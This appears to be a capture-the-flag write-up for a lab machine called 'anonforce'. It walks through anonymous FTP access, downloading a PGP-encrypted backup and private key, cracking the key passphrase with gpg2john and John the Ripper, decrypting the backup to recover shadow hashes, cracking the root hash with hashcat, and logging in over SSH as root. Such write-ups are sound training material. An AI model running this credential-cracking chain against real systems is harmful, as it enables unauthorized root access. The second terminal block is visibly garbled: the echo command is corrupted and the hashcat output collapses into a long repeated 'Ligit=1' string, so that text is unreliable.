Starting with an Nmap scan, we find open SSH and FTP ports, with FTP allowing anonymous login.

Logging into FTP anonymously, we discover three interesting files:

/notread/backup.pgp

/notread/private.asc

/home/melodias/user.txt

We download both backup.pgp and its private key (private.asc). To decrypt backup.pgp, we first need the passphrase of the private key. Using gpg2john, we extract a hash from private.asc, then crack it with John the Ripper to reveal the passphrase.

```
root@kali:~/Desktop/boxes/anonforce# ls
backup.pgp private.asc scan.gnmap scan.nmap scan.xml user.txt
root@kali:~/Desktop/boxes/anonforce# gpg2john private.asc > hash.txt

File private.asc
root@kali:~/Desktop/boxes/anonforce# john hash.txt --wordlist=../../wordlist/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
No password hashes left to crack (see FAQ)
root@kali:~/Desktop/boxes/anonforce# john --show hash.txt
anonforce =====::::anonforce <melodias@anonforce.nsa>::private.asc

1 password hash cracked, 0 left
root@kali:~/Desktop/boxes/anonforce#
```

With the passphrase obtained, we decrypt backup.pgp using the gpg tool. The decrypted file contains system user hashes, including the hashes for the root and melodias users.

We save the root hash to a file and crack it using Hashcat with mode 1800 (sha512crypt).

```
root@kali:-/Desktop/boxes/anonforce# echo '$6507nYFaYf$F4VMaegmz7d*5-Indiction-routman-rooth_location_boxes/anonforce# echo '$6507nYFaYf$F4VMaegmz7d*5-Indiction-routman-rooth_location_boxes/anonforce# hashcat -m 1800 root_hash.txt ./../wordlist/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PocL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl_project]

* Device #1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2139/4343 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.

Started: Wed Apr 2 12:37:00 2025

Stopped: Wed Apr 2 12:37:00 2025

root@kali:-/Desktop/boxes/anonforce# hashcat -m 1800 root_hash.txt --show

**ScalaVas/Ats_Makegm_1***Ligit=Netherostyles_1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=1**Ligit=
```

Finally, using the cracked root password, we SSH into the server as root and obtain root.txt.